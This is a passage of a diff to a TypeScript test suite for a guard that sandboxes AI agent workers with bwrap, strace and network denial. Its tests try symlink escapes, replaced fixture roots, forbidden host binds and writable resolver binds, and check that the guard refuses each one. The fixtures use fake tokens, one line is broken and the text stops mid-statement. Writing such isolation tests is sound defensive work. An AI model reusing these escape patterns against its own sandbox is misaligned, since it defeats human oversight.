process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["/usr/bin/python3","-I","-S","-c",WORKER_FILESYSTEM_FILTER_PROGRAM,"bwrap","--",${JSON.stringify(runtime)}]})}); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - if(!argv.includes(WORKER_FILESYSTEM_FILTER_PROGRAM)||!argv.includes("--unshare-net"))throw Error("trusted filter or OS boundary lost"); - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); - expect(result.code,result.output).toBe(0); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("guard-created fixture roots cannot authorize a replacement host tree",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-owned-root-")); - try{ - const result=await probe(`${imports} - import {nativeFixtureDirectory,nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,renameSync,mkdirSync,rmSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); - const root=nativeFixtureDirectory("odysseus-created-input-"),file=root+"/input";writeFileSync(file,"created-fixture");nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[root]});let plan; - try {plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",file,"/tmp/input","--",${JSON.stringify(runtime)}]})}); - renameSync(root,root+"-original");mkdirSync(root);writeFileSync(file,"replacement-outside-data"); - let refused=false;try{plan.beforeLaunch();}catch(error){refused=String(error).includes("worker bind was not created or staged by the fixture");} - if(!refused)throw Error("replacement root was admitted");console.error("CREATED_ROOT_REPLACEMENT_REFUSED"); - }finally{plan?.dispose();rmSync(root,{recursive:true,force:true});rmSync(root+"-original",{recursive:true,force:true});}`,scratch); - expect(result.code).not.toBe(0);expect(result.output.split("\n")).toContain("CREATED_ROOT_REPLACEMENT_REFUSED"); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("a refused worker spawn rejects and closes the failed invocation promptly",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-refusal-deadline-")); - try{ - const wrapper=join(scratch,"fixture-wrapper"),marker=join(scratch,"launched"),script=join(scratch,"probe.ts"); - writeFileSync(wrapper,`#!/bin/sh\nprintf launched > '${marker}'\n`);chmodSync(wrapper,0o700); - writeFileSync(script,`${imports} - await Promise.resolve().then(()=>Bun.spawn([${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],{env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(wrapper)},${JSON.stringify(runtime)}],argv:["bwrap","--",${JSON.stringify(wrapper)},${JSON.stringify(runtime)}]})}})).catch(()=>console.error("SPAWN_PROMISE_REJECTED")); - setInterval(()=>{},1000);`); - const child=spawnGuardFixture([process.execPath,script],{env:{PATH:"/usr/bin:/bin",HOME:scratch},stdout:"pipe",stderr:"pipe",signal:AbortSignal.timeout(watchdogMs(5000))}); - const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(code,err).toBe(1);expect(out).toBe("");expect(err.split("\n")).toContain("SPAWN_PROMISE_REJECTED"); - expect(err).toContain('"nativeLaunched":false');expect(err).not.toContain("attempted real network access");expect(err).toContain("native isolation failed; see native-offline-* receipts");expect(existsSync(marker)).toBe(false); - }finally{rmSync(scratch,{recursive:true,force:true});} -},watchdogMs(15000)); - -test("keeper output root requires a guarded child namespace and pinned fixture handle",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-keeper-registration-")),keeperRoot=mkdtempSync(join(tmpdir(),"odysseus-keeper-output-")),outside=mkdtempSync(join(tmpdir(),"odysseus-keeper-outside-")); - try{ - mkdirSync(join(keeperRoot,"merged/.brain/scratch"),{recursive:true});writeFileSync(join(keeperRoot,"merged/.brain/scratch/result.md"),"Odysseus returns to Ithaca."); - symlinkSync(outside,join(keeperRoot,"merged/escape")); - const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; - const child=Bun.spawn([process.execPath,"--no-env-file","-e",'process.stdin.resume();process.stdin.once("end",()=>process.exit(0));'],{stdin:"pipe",stdout:"ignore",stderr:"ignore"}); - const originalFs={...fs},namespace=\`/proc/\${child.pid}/ns/mnt\`; - // Metadata-only stand-in for a separate tmpfs namespace. No namespace or - // installed runtime executes; the hosted cell supplies the kernel proof. - mock.module("node:fs",()=>({...originalFs,statSync:(path,options)=>{const info=originalFs.statSync(path,options);return path===namespace?{...info,ino:typeof info.ino==="bigint"?info.ino+1n:info.ino+1}:info;},statfsSync:()=>({type:0x01021994})})); - const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(scratch)}]}); - guard.recordNativeGuardChild(child); - const fd=fs.openSync(${JSON.stringify(keeperRoot)},"r"),start=fs.readFileSync(\`/proc/\${child.pid}/stat\`,"utf8").replace(/^.*\\) /s,"").split(" ")[19]; - const unregister=guard.registerNativeFixtureKeeper({root:\`/proc/\${process.pid}/fd/\${fd}\`,mount:${JSON.stringify(keeperRoot)},namespacePid:child.pid,namespaceStart:start}); - const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["/usr/bin/nsenter","--target",String(child.pid),"--user","--mount","--preserve-credentials","--","bwrap","--bind",${JSON.stringify(join(keeperRoot,"merged/.brain/scratch"))},"/tmp/odysseus-output","--",${JSON.stringify(runtime)}]})}; - try{ - const plan=guard.nativeWorkerBoundary(env);plan.beforeLaunch(); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - const binds=argv.slice(argv.indexOf("--bind"));if(!binds.includes(${JSON.stringify(join(keeperRoot,"merged/.brain/scratch"))}))throw Error("PUBLICATION_BIND_CHANGED"); - fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();console.error(JSON.stringify({keeperRoot:"admitted"})); - const hostNamespace=JSON.parse(env.BRAIN_WORKER_LAUNCH);hostNamespace.argv=hostNamespace.argv.filter(value=>value!=="--mount"); - try{const unsafe=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(hostNamespace)});unsafe.dispose();throw Error("KEEPER_WITHOUT_MOUNT_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"missing-mount-refused"}));} - const escaped=JSON.parse(env.BRAIN_WORKER_LAUNCH);escaped.argv[escaped.argv.indexOf("--bind")+1]=${JSON.stringify(join(keeperRoot,"merged/escape"))}; - try{const unsafe=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify(escaped)});unsafe.dispose();throw Error("KEEPER_SYMLINK_ESCAPE_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"escape-refused"}));} - unregister(); - try{const unsafe=guard.nativeWorkerBoundary(env);unsafe.dispose();throw Error("UNREGISTERED_KEEPER_ADMITTED");}catch(error){if(!String(error).includes("worker bind was not created or staged by the fixture"))throw error;console.error(JSON.stringify({keeperRoot:"unregistered-refused"}));} - }finally{unregister();child.stdin.end();child.kill("SIGKILL");fs.closeSync(fd);}`,scratch); - expect(result.output.split("\n")).toContain('{"keeperRoot":"missing-mount-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"admitted"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"unregistered-refused"}');expect(result.output.split("\n")).toContain('{"keeperRoot":"escape-refused"}');expect(result.code).toBe(1); - }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeperRoot,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} -}); - -test("worker plans stage only their canonical read-only resolver with synthetic bytes",async()=>{ - for(const mode of ["canonical","unregistered","writable"] as const){ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-resolver-plan-")); - try{ - const resolver=join(scratch,"resolver"),other=join(scratch,"other"); - writeFileSync(resolver,"SIRENS_PRIVATE_DNS_MUST_NOT_COPY");writeFileSync(other,"OUTSIDE_CREDENTIAL_SENTINEL"); - const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; - const original={...fs}; - mock.module("node:fs",()=>({...original,realpathSync:(path,...args)=>path==="/etc/resolv.conf"?${JSON.stringify(resolver)}:original.realpathSync(path,...args),readFileSync:(path,...args)=>{if(path===${JSON.stringify(resolver)})throw Error("HOST_RESOLVER_BYTES_READ");return original.readFileSync(path,...args);}})); - const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); - const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap",${JSON.stringify(mode==="writable"?"--bind":"--ro-bind")},${JSON.stringify(mode==="unregistered"?other:resolver)},"/etc/resolv.conf","--",${JSON.stringify(runtime)}]})}); - try{plan.beforeLaunch();const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - const at=argv.indexOf("/etc/resolv.conf"),copy=argv[at-1]; - if(copy===${JSON.stringify(resolver)}||original.readFileSync(copy,"utf8")!=="nameserver 127.0.0.1\\noptions attempts:1 timeout:1\\n"||(original.statSync(copy).mode&0o777)!==0o444)throw Error("RESOLVER_PLAN_NOT_SYNTHETIC_READONLY"); - fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});console.error("RESOLVER_PLAN_SYNTHETIC"); - }finally{plan.dispose();}`,scratch); - expect(result.output).not.toContain("HOST_RESOLVER_BYTES_READ"); - if(mode==="canonical"){expect(result.code,result.output).toBe(0);expect(result.output.split("\n")).toContain("RESOLVER_PLAN_SYNTHETIC");} - else{expect(result.code).not.toBe(0);expect(result.output).toContain(mode==="writable"?"native resolver bind must be read-only":"worker bind was not created or staged by the fixture");} - }finally{rmSync(scratch,{recursive:true,force:true});} - } -}); - - -test("socket denial audit records raw syscalls without trusting stderr or syscall-looking data",async()=>{ - const {deniedNativeSocketOperations}=await import("../scripts/test-native-guard"); - expect(deniedNativeSocketOperations('42 connect(0x3, 0x123, 0x20) = -1 EPERM\n42 sendmsg(0x3, 0x456, 0x0) = -1 EPERM\n42 <... bind resumed>) = -1 EACCES\n42 openat(3, "connect(3) = -1 EPERM", 0) = -1 ENOENT\n42 execve("sendto(3) = -1 EPERM", [], 0) = 0\nchild claimed connect(3) = -1 EPERM')).toBe(3); -}); - -test("runtime provenance rechecks walk entries without re-attesting fixtures for every runtime file",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-provenance-cost-")); - try{ - const result=await probe(`import * as fs from "node:fs";import {mock} from "bun:test"; - const ROOT=${JSON.stringify(ROOT)},backend=ROOT+"/packages/ui-backend-claude";let stamp="",stampChecks=0,runtimeFiles=0,backendTraversals=0; - const original={...fs};mock.module("node:fs",()=>({...original, - lstatSync:(path,...args)=>{const info=original.lstatSync(path,...args);if(path===stamp)stampChecks++;if(info.isFile()&&(String(path).startsWith(ROOT+"/packages/")||String(path).startsWith(ROOT+"/node_modules/")))runtimeFiles++;return info;}, - readdirSync:(path,...args)=>{if(path===backend)backendTraversals++;return original.readdirSync(path,...args);} - })); - const guard=await import(${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}); - const spawnSync=Bun.spawnSync,which=Bun.which;Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - stamp=guard.nativeFixtureDirectory("odysseus-attestation-count-");guard.nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[]}); - let plan;try{ - plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",backend,"/tmp/odysseus-runtime-alias","--",${JSON.stringify(runtime)}]})}); - const initial=backendTraversals;plan.beforeLaunch(); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;fs.writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)}); - console.error(JSON.stringify({runtimeProvenanceCost:{stampChecks,runtimeFiles,backendTraversals,initial}})); - }finally{plan?.dispose();fs.rmSync(stamp,{recursive:true,force:true});}`,scratch); - expect(result.code,result.output).toBe(0); - const cost=JSON.parse(result.output.split("\n").find(line=>line.startsWith('{"runtimeProvenanceCost":'))!).runtimeProvenanceCost; - expect(cost.runtimeFiles,"RUNTIME_TREE_WAS_WALKED").toBeGreaterThan(100); - expect(cost.stampChecks,"FIXTURE_ATTESTATIONS_ARE_NOT_PER_RUNTIME_FILE").toBeLessThan(cost.runtimeFiles/5); - expect(cost.backendTraversals,"OVERLAPPING_MOUNTS_WALKED_ONCE_PER_VALIDATION").toBeLessThanOrEqual(4); - expect(cost.backendTraversals,"BEFORE_LAUNCH_RECHECK_IS_FRESH").toBeGreaterThan(cost.initial); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("direct and trusted worker plans admit only a registered turn-proxy endpoint",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-proxy-plan-")); - try{ - const result=await probe(`${imports} - import * as guard from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const root=${JSON.stringify(scratch)},runtime=${JSON.stringify(runtime)},entry=${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/egress-worker-entry.ts"))}; - guard.nativeScriptedService("http://127.0.0.1:9",{fixtureRoots:[root],turnProxy:true}); - const tunnel=guard.startNativeTurnProxyTunnel("http://127.0.0.1:9",root);await new Promise(resolve=>setImmediate(resolve)); - function finish(plan,argv){writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();} - try{ - const direct=guard.nativeClaudeBoundary(runtime,[],{cwd:root,env:{HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_UNIX_SOCKET:tunnel.socket,ANTHROPIC_BASE_URL:"http://localhost/anthropic"}}); - if(!direct.argv.some((arg,i)=>arg==="--setenv"&&direct.argv[i+1]==="ANTHROPIC_BASE_URL"&&direct.argv[i+2]==="http://localhost/anthropic"))throw Error("DIRECT_ADMITTED_BASE_PATH_PRESERVED"); - if(!direct.argv.includes("--turn-proxy")||!direct.argv.includes(entry))throw Error("DIRECT_PROXY_REGISTRATION_MISSING");finish(direct,direct.argv); - for(const [trusted,registered] of [[true,true],[true,false],[false,true]]){ - const command=[runtime],wrapper=trusted?[process.execPath,entry]:["/usr/bin/true"]; - const argv=["bwrap","--ro-bind",tunnel.socket,"/run/brain-inference/relay.sock",...(registered?["--ro-bind",tunnel.socket,guard.WORKER_TURN_PROXY]:[]),"--",...wrapper,...command]; - const plan=guard.nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command,argv,brainPath:root,env:{HOME:root,PATH:"/usr/bin:/bin",ANTHROPIC_UNIX_SOCKET:"/run/brain-inference/relay.sock",ANTHROPIC_BASE_URL:"http://localhost/anthropic"}})}),actual=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - if(!actual.some((arg,i)=>arg==="--setenv"&&actual[i+1]==="ANTHROPIC_BASE_URL"&&actual[i+2]==="http://localhost/anthropic"))throw Error("WORKER_ADMITTED_BASE_PATH_PRESERVED"); - if(actual.includes("--turn-proxy")!==(trusted&®istered))throw Error("WORKER_PROXY_REQUIRES_TRUSTED_WRAPPER_AND_REGISTRATION");finish(plan,actual); - } - }finally{tunnel.dispose();}`,scratch); - expect(result.code,result.output).toBe(0); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("every native launch path preserves the product environment except documented guard keys",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-all-native-auth-")); - try{ - const result=await probe(`${imports} - import {writeFileSync,mkdirSync} from "node:fs";import {query} from ${JSON.stringify(Bun.resolveSync("@anthropic-ai/claude-agent-sdk",ROOT))};import {createFixtureWorkerStartupView} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/tests/helpers/worker-startup-view-fixture.ts"))};import {spyOn} from "bun:test"; - import * as launcher from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts"))}; - import {WORKER_IDENTITY_SUPERVISOR} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-identity-program.ts"))}; - import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue({identity:"separate_uid",workerUid:(process.getuid()||21000)+1}); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((name,options)=>name==="strace"?"/synthetic/strace":which(name,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - const recorder=Bun.serve({port:0,fetch:()=>new Response("Ithaca")});const leave=nativeScriptedService(recorder.url.origin,{fixtureRoots:[${JSON.stringify(scratch)}],fixtureCredentials:{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}}); - const source=${JSON.stringify(join(scratch,"product-inference.sock"))},target="/run/brain-egress/inference.sock",relay=Bun.serve({unix:source,fetch:()=>new Response("Ithaca")}); - async function sdkEnvironment(env){let captured;const sentinel=new Error("CAPTURE_ONLY_NO_NATIVE_EXEC");let result;try{result=query({prompt:"Ithaca",options:{env,pathToClaudeCodeExecutable:${JSON.stringify(runtime)},spawnClaudeCodeProcess(spec){captured=spec.env;throw sentinel;}}});for await(const message of result){}}catch(error){if(!captured)throw error;}finally{result?.close?.();}if(!captured)throw Error("REAL_SDK_ENV_REQUIRED");return captured;} - const productBrain=${JSON.stringify(join(scratch,"product-brain"))};mkdirSync(productBrain);const startupView=createFixtureWorkerStartupView(productBrain); - try { - const declaredKey="sk-ant-api03-"+"d".repeat(95)+"AA",completed=[]; - for(const path of ["direct","prewarm","worker","relayed","separate-UID"]){ - for(const productSocket of (path==="relayed"?[true]:[false,true]))for(const flag of [undefined,"0","1"]){ - let env={HOME:${JSON.stringify(scratch)},CLAUDE_CONFIG_DIR:${JSON.stringify(scratch)},PATH:"/usr/bin:/bin",LANG:"el_GR.UTF-8",CLAUDE_CODE_ENTRYPOINT:"fixture-sdk",CLAUDE_AGENT_SDK_VERSION:"fixture-version",CLAUDE_CODE_ENABLE_TELEMETRY:"1",OTEL_SERVICE_NAME:"odysseus",MAX_THINKING_TOKENS:"1024",NO_COLOR:"1",BRAIN_MCP_PREFIX:"odysseus",ODYSSEUS_UNLISTED_PRODUCT_KEY:"Ithaca",CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",DISABLE_PROMPT_CACHING:"1",...(flag===undefined?{}:{CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:flag,DISABLE_AUTOUPDATER:flag}),ANTHROPIC_BASE_URL:recorder.url.origin,ANTHROPIC_API_KEY:productSocket?"brain-inference-relay-placeholder":declaredKey,...(!productSocket?{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}:{}),...(productSocket?{ANTHROPIC_UNIX_SOCKET:target}:{})}; - if(path==="direct"||path==="prewarm")env=await sdkEnvironment(env); - else{const productArgv=launcher.workerCommand({brainPath:productBrain,startupView,command:[${JSON.stringify(runtime)}],env});const projected={};for(let i=0;i["--setenv",key,value]),...(productSocket?["--ro-bind",source,target]:[]),"--",...gates,${JSON.stringify(runtime)}]; - const outer=path==="separate-UID"?["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:payload})]:payload; - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env,argv:outer})});argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;dispose=plan.dispose; - if(path==="separate-UID")argv=JSON.parse(argv[5]).argv; - } - if(!productSocket&&!["direct","prewarm"].includes(path)){const gate=argv.indexOf("brain-worker-start-gate"),entry=argv.findIndex(arg=>arg.endsWith("/egress-worker-entry.ts")),broker=argv.findIndex((arg,index)=>arg.endsWith("/native-connect")&&argv[index+1]==="--head");if(!(gate>=0&&entry>gate&&broker>entry))throw Error("REAL_WORKER_PLAN_GATES_THEN_FORWARDER_THEN_FILTER:"+path);} - const injected={};for(let i=0;i{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-forbidden-bind-")); + try { + const result=await probe(`${imports} + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + registerScriptedService("http://127.0.0.1:1");let refused=0; + for(const root of ["/","/run","/var/run","/tmp","/dev","/dev/shm","/home","/var/lib","/etc","/var"])for(const source of [false,true]){ + try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",source?root:${JSON.stringify(scratch)},source?${JSON.stringify(scratch)}:root,"--",${JSON.stringify(runtime)}]})});} + catch(error){if(String(error).includes("forbidden host service root"))refused++;else throw error;} + }if(refused!==20)throw Error("forbidden root admitted");console.error("FORBIDDEN_BIND_ROOTS_REFUSED:20");`,scratch); + expect(result.code).not.toBe(0);expect(result.output.split("\n")).toContain("FORBIDDEN_BIND_ROOTS_REFUSED:20"); + expect(result.output).not.toContain('"nativeLaunched":true'); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("fixed read-only system mounts are never recursively walked",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-system-policy-")); + try{ + const result=await probe(`${imports} + import {mock} from "bun:test"; + import * as fs from "node:fs"; + const read=fs.readdirSync; + mock.module("node:fs",()=>({...fs,readdirSync(path,...args){if(String(path)==="/usr")throw Object.assign(Error("system walk forbidden"),{code:"EACCES"});return read(path,...args);}})); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}}}); + if(!plan.argv.some((value,index)=>value==="--ro-bind"&&plan.argv[index+1]==="/usr"&&plan.argv[index+2]==="/usr"))throw Error("fixed system mount absent"); + fs.writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + expect(result.code,result.output).toBe(0); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("non-system missing and inaccessible entries remain failed receipts",async()=>{ + for(const code of ["ENOENT","EACCES"]){ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-nonsystem-policy-")); + try{ + const result=await probe(`${imports} + import {mock} from "bun:test";import * as fs from "node:fs"; + const read=fs.readdirSync; + if(${JSON.stringify(code)}==="ENOENT")fs.symlinkSync(${JSON.stringify(join(scratch,"absent"))},${JSON.stringify(join(scratch,"missing"))}); + else mock.module("node:fs",()=>({...fs,readdirSync(path,...args){if(String(path)===${JSON.stringify(scratch)})throw Object.assign(Error("synthetic unreadable fixture"),{code:"EACCES"});return read(path,...args);}})); + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}}}); + fs.writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + expect(result.code).not.toBe(0);expect(result.output).toContain('"metadataError":"'+code+'"');expect(result.output).toContain('"nativeLaunched":false'); + }finally{rmSync(scratch,{recursive:true,force:true});} + } +}); + +test("worker admission classifies executable argv and refuses missing or disagreeing commands",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-executable-")); + try{ + symlinkSync(runtime!,join(scratch,"selected")); + for(const launch of [ + {argv:[runtime]}, + {command:[runtime]}, + {command:["/usr/bin/true"],argv:[runtime]}, + {command:["/usr/bin/true"],argv:["selected"],env:{PATH:scratch},brainPath:scratch}, + {command:["/usr/bin/true"],argv:["./selected"],env:{PATH:"/usr/bin:/bin"},brainPath:scratch}, + ]){ + const result=await probe(`${imports} import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:${JSON.stringify(JSON.stringify(launch))}});`,scratch); + expect(result.code).not.toBe(0);expect(result.output).toContain('"nativeLaunched":false'); + expect(result.output).toMatch(/worker command and (?:argv are required|executable argv disagree)/); + } + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + +test("unregistered keeper namespace temporary sources still refuse before native launch",async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-keeper-refusal-")),keeper=mkdtempSync(join(tmpdir(),"odysseus-output-keeper-")); + try{ + const missing=join(keeper,"merged/.brain/scratch"); + const result=await probe(`${imports} + import {nativeWorkerBoundary} from 